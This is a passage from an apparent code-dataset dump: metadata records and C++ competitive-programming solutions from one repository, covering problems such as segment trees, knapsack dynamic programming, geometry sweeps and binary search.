"/Codeforces-Gym/100719 - 2014-2015 CTU Open Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CTU Open Contest\n// 100719D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n ll k; cin >> k;\n\n ll m = 0ll;\n ll s = 1ll;\n\n while( s * 3ll <= k ){\n s *= 3ll;\n m++;\n }\n\n bool ok = false;\n\n while( m >= 0 ){\n if( ok ){\n cout <<' ';\n }\n\n cout << (k / s);\n k %= s;\n\n s /= 3ll;\n\n ok = true;\n m--;\n }\n\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.35655736923217773, "alphanum_fraction": 0.4159836173057556, "avg_line_length": 18.33333396911621, "blob_id": "01b25af83ef54fa0ebc3c6f9a19b0498c641d2f0", "content_id": "f5a2b05da4106b21a55755da096ec6673ee310a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 488, "license_type": "no_license", "max_line_length": 59, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1912-Accepted-s731322.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nconst int mod = 1000000007;\r\n\r\nconst int N = 10000000;\r\n\r\nint t, k, n;\r\nint v[N + 5];\r\n\r\nint main() {\r\n //freopen(\"dat.in\", \"r\", stdin);\r\n scanf(\"%d%d\", &t, &k);\r\n\tfor (int i = 1; i < k; i++)\r\n\t\tv[i] = v[i - 1] + 1;\r\n\tv[k] = (2 * v[k - 1]) % mod;\r\n\tfor (int i = k + 1; i <= N; i++)\r\n\t\tv[i] = ((2 * v[i - 1] % mod) - v[i - k - 1] + mod) % mod;\r\n\twhile (t--) {\r\n scanf(\"%d\", &n);\r\n printf(\"%d\\n\", (v[n] - v[n - 1] + mod) % mod);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2979515790939331, "alphanum_fraction": 0.3147113621234894, "avg_line_length": 24.850000381469727, "blob_id": "c126ebcf571d73e7ec9210b6526a574ec5589719", "content_id": "e014aec31e522cac67c982310607684e7afefcda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 537, "license_type": "no_license", "max_line_length": 76, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1054-Accepted-s468682.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint mx[10001],c,m,n,p,t,mxx;\r\n\r\nint main(){\r\n cin >> c;\r\n while(c--){\r\n mxx=0;\r\n for(int i=0; i<=m; i++)mx[i]=0;\r\n cin >> m >> n;\r\n while(n--){\r\n cin >> p >> t;\r\n for(int i=t; i<=m; i++)mx[i]=max(mx[i],mx[i-t]+p);\r\n }\r\n for(int i=m; i; i--)if(mxx<mx[i])mxx=mx[i];\r\n cout << mxx << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.33261072635650635, "alphanum_fraction": 0.3564571142196655, "avg_line_length": 20.116437911987305, "blob_id": "23626a3e3d1c62c93be88939b5e55288ebb576f1", "content_id": "8220a463be6e4b5d4b8529dd8ae834a99b7ade0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3229, "license_type": "no_license", "max_line_length": 76, "num_lines": 146, "path": "/COJ/eliogovea-cojAC/eliogovea-p3417-Accepted-s940106.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-9;\r\n\r\nconst int N = 100005;\r\n\r\nstruct data {\r\n int pos;\r\n int l;\r\n vector <long long> v;\r\n data() {}\r\n data(long long x) {\r\n pos = 0;\r\n l = 1;\r\n while (x > 1) {\r\n v.push_back(x);\r\n x = (long long)sqrt(x);\r\n }\r\n v.push_back(1);\r\n }\r\n};\r\n\r\ndata merge(data &a, data &b) {\r\n data res;\r\n res.pos = 0;\r\n res.l = a.l + b.l;\r\n res.v.clear();\r\n for (int i = 0; i + a.pos < a.v.size() || i + b.pos < b.v.size(); i++) {\r\n long long val = 0;\r\n if (i + a.pos < a.v.size()) {\r\n val += a.v[i + a.pos];\r\n } else {\r\n val += a.l;\r\n }\r\n if (i + b.pos < b.v.size()) {\r\n val += b.v[i + b.pos];\r\n } else {\r\n val += b.l;\r\n }\r\n res.v.push_back(val);\r\n }\r\n return res;\r\n}\r\n\r\nint n, q;\r\nlong long a[N];\r\n\r\ndata st[4 * N];\r\nint lazy[4 * N];\r\n\r\nvoid build(int x, int l, int r) {\r\n if (l == r) {\r\n st[x] = data(a[l]);\r\n } else {\r\n int mid = (l + r) >> 1;\r\n build(2 * x, l, mid);\r\n build(2 * x + 1, mid + 1, r);\r\n st[x] = merge(st[2 * x], st[2 * x + 1]);\r\n }\r\n}\r\n\r\ninline void push(int x, int l, int r) {\r\n if (lazy[x] > 0) {\r\n st[x].pos += lazy[x];\r\n if (st[x].pos >= st[x].v.size()) {\r\n st[x].pos = st[x].v.size() - 1;\r\n }\r\n if (l != r) {\r\n lazy[2 * x] += lazy[x];\r\n lazy[2 * x + 1] += lazy[x];\r\n }\r\n lazy[x] = 0;\r\n }\r\n}\r\n\r\nvoid update1(int x, int l, int r, int ul, int ur) {\r\n push(x, l, r);\r\n if (l > ur || r < ul) {\r\n return;\r\n }\r\n if (l >= ul && r <= ur) {\r\n lazy[x]++;\r\n push(x, l, r);\r\n } else {\r\n int mid = (l + r) >> 1;\r\n update1(2 * x, l, mid, ul, ur);\r\n update1(2 * x + 1, mid + 1, r, ul, ur);\r\n st[x] = merge(st[2 * x], st[2 * x + 1]);\r\n }\r\n}\r\n\r\nvoid update2(int x, int l, int r, int p, long long v) {\r\n push(x, l, r);\r\n if (p > r || p < l) {\r\n return;\r\n }\r\n if (l == r) {\r\n st[x] = data(v);\r\n } else {\r\n int mid = (l + r) >> 1;\r\n update2(2 * x, l, mid, p, v);\r\n update2(2 * x + 1, mid + 1, r, p, v);\r\n st[x] = merge(st[2 * x], st[2 * x + 1]);\r\n }\r\n}\r\n\r\nlong long query(int x, int l, int r, int ql, int qr) {\r\n push(x, l, r);\r\n if (l > qr || r < ql) {\r\n return 0;\r\n }\r\n if (l >= ql && r <= qr) {\r\n return st[x].v[st[x].pos];\r\n }\r\n int mid = (l + r) >> 1;\r\n long long q1 = query(2 * x, l, mid, ql, qr);\r\n long long q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n return q1 + q2;\r\n}\r\n\r\nint main()\r\n{\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n //freopen(\"\"dat.txt\"\", \"\"r\"\", stdin);\r\n\r\n cin >> n >> q;\r\n for (int i = 1; i <= n; i++) {\r\n cin >> a[i];\r\n }\r\n build(1, 1, n);\r\n int x, y, z;\r\n while (q--) {\r\n cin >> x >> y >> z;\r\n if (x == 1) {\r\n update1(1, 1, n, y, z);\r\n } else if (x == 2) {\r\n update2(1, 1, n, y, z);\r\n } else {\r\n cout << query(1, 1, n, y, z) << \"\\n\";\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.38004687428474426, "alphanum_fraction": 0.39802032709121704, "avg_line_length": 16.726829528808594, "blob_id": "fc7f920a27cab8ce03badcf1d8e9de1fe7cbd88d", "content_id": "bfd2683a417d9096215135c38b3f0e55bf1b4789", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3839, "license_type": "no_license", "max_line_length": 110, "num_lines": 205, "path": "/Caribbean-Training-Camp-2017/Contest_3/Solutions/E3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\ninline int sign(LL x) {\r\n\tif (x < 0) {\r\n\t\treturn -1;\r\n\t}\r\n\tif (x > 0) {\r\n\t\treturn 1;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nstruct pt {\r\n\tLL x, y;\r\n\tpt() {}\r\n\tpt(LL _x, LL _y) : x(_x), y(_y) {};\r\n};\r\n\r\npt operator + (const pt &a, const pt &b) {\r\n return pt(a.x + b.x, a.y + b.y);\r\n}\r\n\r\npt operator - (const pt &a, const pt &b) {\r\n\treturn pt(a.x - b.x, a.y - b.y);\r\n}\r\n\r\n\r\ninline LL dot(const pt &a, const pt &b) {\r\n\treturn a.x * b.x + a.y * b.y;\r\n}\r\n\r\ninline LL norm2(const pt &a) {\r\n\treturn dot(a, a);\r\n}\r\n\r\ninline LL cross(const pt &a, const pt &b) {\r\n\treturn a.x * b.y - a.y * b.x;\r\n}\r\n\r\nbool operator < (const pt &a, const pt &b) {\r\n\tint c = sign(cross(a, b));\r\n\treturn (c > 0);\r\n}\r\n\r\nbool operator != (const pt &a, const pt &b) {\r\n\treturn (a < b) || (b < a);\r\n}\r\n\r\ninline bool isIn(int x, int a, int b) {\r\n\tif (a > b) {\r\n\t\tswap(a, b);\r\n\t}\r\n\treturn (a <= x && x <= b);\r\n}\r\n\r\ninline bool contains(pt p, pt a, pt b) {\r\n\tif (a.x == b.x && a.y == b.y) {\r\n\t\treturn p.x == a.x && p.y == a.y;\r\n\t}\r\n\tif (sign(cross(a - p, b - p))) {\r\n\t\treturn false;\r\n\t}\r\n\treturn isIn(p.x, a.x, b.x) && isIn(p.y, a.y, b.y);\r\n}\r\n\r\ninline pt get(pt a) {\r\n\tif (a.y < 0) {\r\n\t\ta.x = -a.x;\r\n\t\ta.y = -a.y;\r\n\t\treturn a;\r\n\t}\r\n\tif (a.y == 0 && a.x < 0) {\r\n\t\ta.x = -a.x;\r\n\t}\r\n\treturn a;\r\n}\r\n\r\nconst int N = 1000 + 10;\r\n\r\nint n;\r\npt a[N], b[N];\r\nbool in[N];\r\n\r\nstruct event {\r\n\tpt p, q;\r\n\tint type;\r\n\tint index;\r\n\tevent() {}\r\n\tevent(pt _p, pt _q, int _type, int _index) {\r\n p = _p;\r\n q = _q;\r\n type = _type;\r\n index = _index;\r\n }\r\n};\r\n\r\nbool operator < (const event &a, const event &b) {\r\n\tint c = sign(cross(a.p, b.p));\r\n\tif (c != 0) {\r\n return (c > 0);\r\n\t}\r\n\treturn a.type < b.type;\r\n}\r\n\r\nint solve(pt c, int id, pt &p1, pt &p2) {\r\n\r\n for (int i = 0; i < n; i++) {\r\n\t\tin[i] = false;\r\n\t}\r\n\tint cnt = 1;\r\n\tp1 = c;\r\n\tp2 = p1; p2.x++;\r\n\tvector <event> e;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (i == id) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (contains(c, a[i], b[i])) {\r\n\t\t\tcnt++;\r\n\t\t} else {\r\n\t\t\tpt pa = a[i] - c;\r\n\t\t\tpt pb = b[i] - c;\r\n\t\t\tif (cross(pa, pb) < 0) {\r\n\t\t\t\tswap(pa, pb);\r\n\t\t\t}\r\n\t\t\te.push_back(event(get(pa), pa + c, -1, i));\r\n\t\t\te.push_back(event(get(pb), pb + c, 1, i));\r\n\t\t}\r\n\t}\r\n\tsort(e.begin(), e.end());\r\n\tint mx = cnt;\r\n\tfor (int i = 0; i < e.size(); i++) {\r\n if (e[i].type == -1) {\r\n if (!in[e[i].index]) {\r\n cnt++;\r\n in[e[i].index] = true;\r\n if (cnt > mx) {\r\n mx = cnt;\r\n p2 = e[i].q;\r\n }\r\n }\r\n\t\t} else {\r\n\t\t\tif (in[e[i].index]) {\r\n\t\t\t\tcnt--;\r\n\t\t\t\tin[e[i].index] = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < e.size(); i++) {\r\n if (e[i].type == -1) {\r\n if (!in[e[i].index]) {\r\n cnt++;\r\n in[e[i].index] = true;\r\n if (cnt > mx) {\r\n mx = cnt;\r\n p2 = e[i].q;\r\n }\r\n }\r\n\t\t} else {\r\n\t\t\tif (in[e[i].index]) {\r\n\t\t\t\tcnt--;\r\n\t\t\t\tin[e[i].index] = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn mx;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t// freopen(\"input001.txt\", \"r\", stdin);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i].x >> a[i].y >> b[i].x >> b[i].y;\r\n\t}\r\n\r\n\tint ansc = 0;\r\n\tpt ans1, ans2;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tpt p1a, p2a;\r\n\t\tint cnta = solve(a[i], i, p1a, p2a);\r\n\t\t// cerr << \"a \" << i << \" \" << cnta << \" \" << p1a.x << \" \" << p1a.y << \" \" << p2a.x << \" \" << p2a.y << \"\\n\";\r\n\t\tif (cnta > ansc) {\r\n\t\t\tansc = cnta;\r\n\t\t\tans1 = p1a;\r\n\t\t\tans2 = p2a;\r\n\t\t}\r\n\t\tpt p1b, p2b;\r\n\t\tint cntb = solve(b[i], i, p1b, p2b);\r\n\t\tif (cntb > ansc) {\r\n\t\t\tansc = cntb;\r\n\t\t\tans1 = p1b;\r\n\t\t\tans2 = p2b;\r\n\t\t}\r\n\t}\r\n\r\n\tcout << ans1.x << \" \" << ans1.y << \" \" << ans2.x << \" \" << ans2.y << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.41737648844718933, "alphanum_fraction": 0.4258943796157837, "avg_line_length": 16.935483932495117, "blob_id": "9678b7f53ea1b672be892034bd2da0a98bdc5f39", "content_id": "78ed5a453e1e7e7d3ad86fffaf8bcd97e26709ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 587, "license_type": "no_license", "max_line_length": 41, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p3430-Accepted-s904715.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tstring s;\r\n\tvector <char> v;\r\n\tgetline(cin, s);\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tif (s[i] == ')') {\r\n\t\t\tint pos = v.size() - 1;\r\n\t\t\tvector <char> tmp;\r\n\t\t\twhile (v.back() != '(') {\r\n\t\t\t\ttmp.push_back(v.back());\r\n\t\t\t\tv.pop_back();\r\n\t\t\t}\r\n\t\t\tv.pop_back();\r\n\t\t\tfor (int i = 0; i < tmp.size(); i++) {\r\n v.push_back(tmp[i]);\r\n\t\t\t}\r\n\t\t} else {\r\n v.push_back(s[i]);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < v.size(); i++) {\r\n\t\tcout << v[i];\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.31785714626312256, "alphanum_fraction": 0.33392858505249023, "avg_line_length": 25.950000762939453, "blob_id": "5122d561f67b125769937afdf50465d45ba1dd14", "content_id": "c5e2796e76f6d2ee5a66128117454beb9743806d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 560, "license_type": "no_license", "max_line_length": 77, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2143-Accepted-s468634.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint n,m,w,c,tc,mx[1001],mxx,total;\r\n\r\nint main(){\r\n cin >> tc;\r\n while(tc--){\r\n cin >> n >> m;\r\n for(int i=0; i<=m; i++)mx[i]=0;mxx=0;\r\n while(n--){\r\n cin >> w >> c;\r\n for(int i=m; i>=w; i--)mx[i]=max(mx[i],mx[i-w]+c);\r\n }\r\n for(int i=m; i>=0; i--)if(mxx<mx[i])mxx=mx[i];\r\n total+=mxx;\r\n }\r\n cout << total << endl;\r\n return 0;\r\n } \r\n" }, { "alpha_fraction": 0.34224966168403625, "alphanum_fraction": 0.3573388159275055, "avg_line_length": 16.15294075012207, "blob_id": "f17949125796d83754382d0d300237a46df27b72", "content_id": "b66f10016b919c2d54fd832ff2d44a49202bbffe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1458, "license_type": "no_license", "max_line_length": 75, "num_lines": 85, "path": "/Caribbean-Training-Camp-2017/Contest_6/Solutions/A6.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int MAXN = 100100;\n\nint W[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, s; cin >> n >> s;\n\n set<par> dic;\n\n for( int i = 1; i <= n; i++ ){\n int w; cin >> w;\n W[i] = w;\n\n dic.insert( par( w , i ) );\n }\n\n vector<int> sol;\n\n int x = 0;\n int wx = 0;\n\n while( !dic.empty() ){\n if( !x ){\n x = (*dic.begin()).second;\n wx = (*dic.begin()).first;\n\n sol.push_back(x);\n dic.erase( dic.begin() );\n }\n\n if( dic.empty() ){\n break;\n }\n\n set<par>::iterator it = dic.upper_bound( par( s - wx , (1<<29) ) );\n\n if( it == dic.end() ){\n it = dic.begin();\n }\n\n int y = (*it).second;\n int wy = (*it).first;\n\n sol.push_back(y);\n dic.erase(it);\n\n if( wx + wy > s ){\n x = y;\n wx = wy;\n }\n else{\n x = 0;\n wx = 0;\n }\n }\n\n int cnt = 0;\n int i = 0;\n while( i < sol.size() ){\n cnt++;\n if( i+1 < sol.size() ){\n if( W[sol[i]] + W[ sol[i+1] ] <= s ){\n i++;\n }\n }\n\n i++;\n }\n\n cout << cnt << '\\n';\n for( int i = 0; i < sol.size(); i++ ){\n cout << W[ sol[i] ] << \" \\n\"[i+1==sol.size()];\n }\n}\n" }, { "alpha_fraction": 0.33303001523017883, "alphanum_fraction": 0.3648771643638611, "avg_line_length": 16.44444465637207, "blob_id": "508c7f71474d240d0a1796117ba808b799123cbd", "content_id": "c28c40e54b7cad2e2a4a41c9dc727d943e92a924", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1099, "license_type": "no_license", "max_line_length": 86, "num_lines": 63, "path": "/Codeforces-Gym/100486 - 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)\n// 100486J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 5000;\n\nstring a[MAXN];\nint mark[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n string s;\n\n getline( cin , s );\n\n int mk = 1;\n\n while(tc--){\n int n; cin >> n;\n getline( cin , s );\n\n map<string, int> dic;\n\n for(int i = 1; i <= n; i++){\n getline( cin , a[i] );\n dic[ a[i] ] = i;\n }\n\n int q; cin >> q;\n getline( cin , s );\n\n int outp = 0;\n int c = 0;\n\n while( q-- ){\n getline( cin , s );\n int x = dic[ s ];\n\n if( mark[x] != mk ){\n mark[x] = mk;\n c++;\n if( c == n ){\n outp++;\n mk++;\n c = 1;\n mark[x] = mk;\n }\n }\n }\n\n cout << outp << '\\n';\n mk++;\n }\n}\n" }, { "alpha_fraction": 0.32722198963165283, "alphanum_fraction": 0.3575129508972168, "avg_line_length": 22.231481552124023, "blob_id": "82709c00ed2de9613d4a054efb0475d0baea9518", "content_id": "31d496073fde26b3671e5082826eb644e73ec149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2509, "license_type": "no_license", "max_line_length": 63, "num_lines": 108, "path": "/Codeforces-Gym/101104 - 2016-2017 CT S03E04: Codeforces Trainings Season 3 Episode 4/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E04: Codeforces Trainings Season 3 Episode 4\n// 101104D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\ninline void add(vector <int> &f, int &mask, int d) {\n f[d]++;\n if (f[d] == 1) {\n mask |= (1 << d);\n }\n}\n\ninline void remove(vector <int> &f, int &mask, int d) {\n f[d]--;\n if (f[d] == 0) {\n mask ^= (1 << d);\n }\n}\n\nint solve(string a, string b) {\n string aa = a;\n string bb = b;\n vector <int> fa(10, 0), fb(10, 0);\n int sa = a.size();\n int sb = b.size();\n for (int i = 0; i < sa; i++) {\n a[i] -= '0';\n fa[a[i]]++;\n }\n for (int i = 0; i < sb; i++) {\n b[i] -= '0';\n fb[b[i]]++;\n }\n int maska = 0;\n int maskb = 0;\n for (int i = 0; i < 10; i++) {\n if (fa[i]) {\n maska |= (1 << i);\n }\n if (fb[i]) {\n maskb |= (1 << i);\n }\n }\n if (maska == maskb) {\n return 0; // f\n }\n for (int i = 0; i + 1 < sa; i++) {\n if ((i == 0 && a[i] >= 2) || (i > 0 && a[i] >= 1)) {\n if (a[i + 1] < 9) {\n remove(fa, maska, a[i]);\n add(fa, maska, a[i] - 1);\n remove(fa, maska, a[i + 1]);\n add(fa, maska, a[i + 1] + 1);\n if (maska == maskb) {\n return 1;\n }\n remove(fa, maska, a[i + 1] + 1);\n add(fa, maska, a[i + 1]);\n remove(fa, maska, a[i] - 1);\n add(fa, maska, a[i]);\n }\n }\n if (a[i] < 9 && a[i + 1] > 0) {\n remove(fa, maska, a[i]);\n add(fa, maska, a[i] + 1);\n remove(fa, maska, a[i + 1]);\n add(fa, maska, a[i + 1] - 1);\n\n if (maska == maskb) {\n return 1;\n }\n remove(fa, maska, a[i + 1] - 1);\n add(fa, maska, a[i + 1]);\n remove(fa, maska, a[i] + 1);\n add(fa, maska, a[i]);\n }\n }\n return 2;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int t;\n cin >> t;\n while (t--) {\n string a, b;\n cin >> a >> b;\n int ansAB = solve(a, b);\n if (ansAB == 0) {\n cout << \"friends\\n\";\n continue;\n }\n int ansBA = solve(b, a);\n if (min(ansAB, ansBA) == 1) {\n cout << \"almost friends\\n\";\n } else {\n cout << \"nothing\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.41188523173332214, "alphanum_fraction": 0.42213115096092224, "avg_line_length": 15.428571701049805, "blob_id": "371e8dd2e7c90b40898234f0b4e0c2afe417588e", "content_id": "4853a51cfb17031ffd5ef6d2335a015fb48724c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 488, "license_type": "no_license", "max_line_length": 91, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p1170-Accepted-s485972.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<iostream>\r\n\r\ntypedef unsigned long long ll;\r\n\r\nll AA,a,b,c,A,B,C;\r\nint n;\r\ndouble vol;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n while(n--)\r\n {\r\n scanf(\"%d%d%d%d%d%d\",&c,&B,&A,&a,&b,&C);\r\n\r\n a*=a; b*=b; c*=c;\r\n A*=A; B*=B; C*=C;\r\n\r\n AA = a*A*(b+B+c+C-a-A)+b*B*(a+A-b-B+c+C)+c*C*(a+A+b+B-c-C)-A*B*C-a*b*C-a*B*c-A*b*c;\r\n\r\n vol=(sqrt(AA))/12.0;\r\n\r\n printf(\"%.4f\\n\",vol);\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.45783132314682007, "alphanum_fraction": 0.4819277226924896, "avg_line_length": 13.289473533630371, "blob_id": "0e42e94da6891926c4bb4e5a93b6699129408346", "content_id": "20644815d77030cfe0c3df538774af2a977b87d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 581, "license_type": "no_license", "max_line_length": 31, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2430-Accepted-s739077.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nconst ull c = 6e9;\r\nconst ull inf = 16e18;\r\n\r\null n;\r\n\r\ninline ull f(ull x) {\r\n\tull a, b;\r\n\ta = x;\r\n\tb = x + 1LL;\r\n\tif (a & 1LL) b >>= 1LL;\r\n\telse a >>= 1LL;\r\n\treturn a * b;\r\n}\r\n\r\nbool solve() {\r\n\tull lo = 0, hi = c, mid, v;\r\n\twhile (lo + 1LL < hi) {\r\n\t\tmid = (lo + hi + 1LL) >> 1LL;\r\n\t\tv = f(mid);\r\n\t\tif (v == n) return true;\r\n\t\tif (v < n) lo = mid;\r\n\t\telse hi = mid;\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\twhile (cin >> n && n) {\r\n\t\tif (solve()) cout << \"YES\\n\";\r\n\t\telse cout << \"NO\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.44389641284942627, "alphanum_fraction": 0.5067817568778992, "avg_line_length": 19.769229888916016, "blob_id": "fa594b5c440f3793ebc9f38944eb30931dbbe16b", "content_id": "48c8f67ef1a005618213284f569ecf6b8f43aa62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 811, "license_type": "no_license", "max_line_length": 146, "num_lines": 39, "path": "/Codeforces-Gym/100534 - 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)\n// 100534G\n\n#include<bits/stdc++.h>\n#define MAXN 500000\nusing namespace std;\ntypedef long long ll;\ntypedef unsigned long long ull;\ntypedef pair<ll,int> par;\n\nstring str,str2;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen( \"data.txt\", \"r\", stdin );\n cin >> str;\n str2 = str;\n int p = 0;\n int acc1 = 0, acc2 = 0;\n\n for( int i = 0; i < str.size(); i++ ){\n if( str[i] == '2' ){\n acc1 += i-p;\n p++;\n }\n }\n\n p = 0;\n for( int i = 0; i < str.size(); i++ ){\n if( str[i] == '1' ){\n acc2 += i-p;\n p++;\n }\n }\n\n cout << min(acc1,acc2) << '\\n';\n\n}\n\n" }, { "alpha_fraction": 0.3571428656578064, "alphanum_fraction": 0.39650145173072815, "avg_line_length": 12.291666984558105, "blob_id": "eac4f893ba230d8536500660c0a141fbe38296ab", "content_id": "45f0c7b2f9c793e196cf5a55a959fc629f5bd35d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 686, "license_type": "no_license", "max_line_length": 44, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p4094-Accepted-s1294963.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tlong long d, m, d1, n, d2;\r\n\r\n\tcin >> d >> m >> d1 >> n >> d2;\r\n\r\n\tif (d >= d1) {\r\n\t\tcout << \"-1\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tauto calck = [](long long d, long long x) {\r\n\t\tlong long v = (x + x - d - 1) / (x - d);\r\n\t\tint l = 0;\r\n\t\twhile ((1LL << l) < v) {\r\n\t\t\tl++;\r\n\t\t}\r\n\t\treturn l;\r\n\t};\r\n\r\n\tint k1 = calck(d, d1);\r\n\r\n\tif (k1 <= m) {\r\n\t\tcout << k1 << \"\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\td = (1LL << m) * (d - d1) + d1;\r\n\r\n\tif (d >= d2) {\r\n\t\tcout << \"-1\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tint k2 = calck(d, d2);\r\n\r\n\tif (k2 <= n) {\r\n\t\tcout << m + k2 << \"\\n\";\r\n\t} else {\r\n\t\tcout << \"-1\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4430379867553711, "alphanum_fraction": 0.4584086835384369, "avg_line_length": 16.131147384643555, "blob_id": "5810e5ada743806dd3c9498faadc0384547225b4", "content_id": "8d91eb2352044085352a0ce4b8a384e5121a6403", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1106, "license_type": "no_license", "max_line_length": 47, "num_lines": 61, "path": "/COJ/eliogovea-cojAC/eliogovea-p2014-Accepted-s1037637.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 105;\r\n\r\nint t;\r\nstring s;\r\nint n;\r\nint need;\r\nbool solved[N][N];\r\nbool good[N][N];\r\nchar value[N][N];\r\n\r\nbool dfs(int pos, int cur) 